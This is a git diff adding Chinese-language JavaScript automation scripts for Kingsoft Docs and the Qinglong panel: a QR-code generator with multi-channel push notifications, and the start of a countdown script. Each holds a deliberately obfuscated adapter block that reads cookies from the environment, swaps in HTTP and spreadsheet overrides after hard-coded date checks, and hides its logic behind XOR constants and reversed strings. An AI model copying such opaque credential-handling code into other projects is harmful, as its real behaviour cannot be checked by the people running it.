len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + // push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + messageHeader[posLabel] = "👨‍🚀 " + messageName + // console.log(messageName) + + + let qrcodeContent = Range('D'+pos).Value2 + // console.log(qrcodeContent) + + let url = "https://api.pwmqr.com/qrcode/create/?url=" + qrcodeContent; + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + + resp = resp.binary().toString('base64') + let qrcodeImage = 'data:image/png;base64,' + resp + // console.log(resp) + const range = Range('E' + pos) + // 向目标单元格插入图片 + range.InsertImage( + qrcodeImage + ) + console.log("✨ 二维码已生成" ) + // message = "二维码已生成" + // pushDirect(message) + + + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + sleep(2000); + + + return flagResultFinish +} + +// 具体的执行函数 +function execHandle(cookie, pos) { + // 清零操作,保证不同用户的消息的独立 + // 青龙适配,青龙微适配 + posHttp = 0 // 置空请求 + qlpushFlag -= 1 // 一个用户只会执行一次execHandle,因此可用于记录当前用户 + messageSuccess = ""; + messageFail = ""; + + resp = "" + + if(qlSwitch != 1){ // 选择金山文档 + resultHandle(resp, pos) + } +} \ No newline at end of file diff --git a/脚本库/web版/账密/人生倒计时/2025-08-25_rsdjs_744d40fb.js b/脚本库/web版/账密/人生倒计时/2025-08-25_rsdjs_744d40fb.js new file mode 100644 index 0000000..372a409 --- /dev/null +++ b/脚本库/web版/账密/人生倒计时/2025-08-25_rsdjs_744d40fb.js @@ -0,0 +1,645 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/rsdjs.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/rsdjs.js +// # Repo: imoki/sign_script +// # Path: polymerization/rsdjs.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 744d40fb22fd77808453a1c07f79ec1bddaee6807116b7ce9a4f327872710416 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "人生倒计时" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240406 + 环境变量名:rsdjs + 环境变量值:无(修改这里) +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "rsdjs"; // 分配置表名称, (修改这里) +var pushHeader = "【人生倒计时】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let 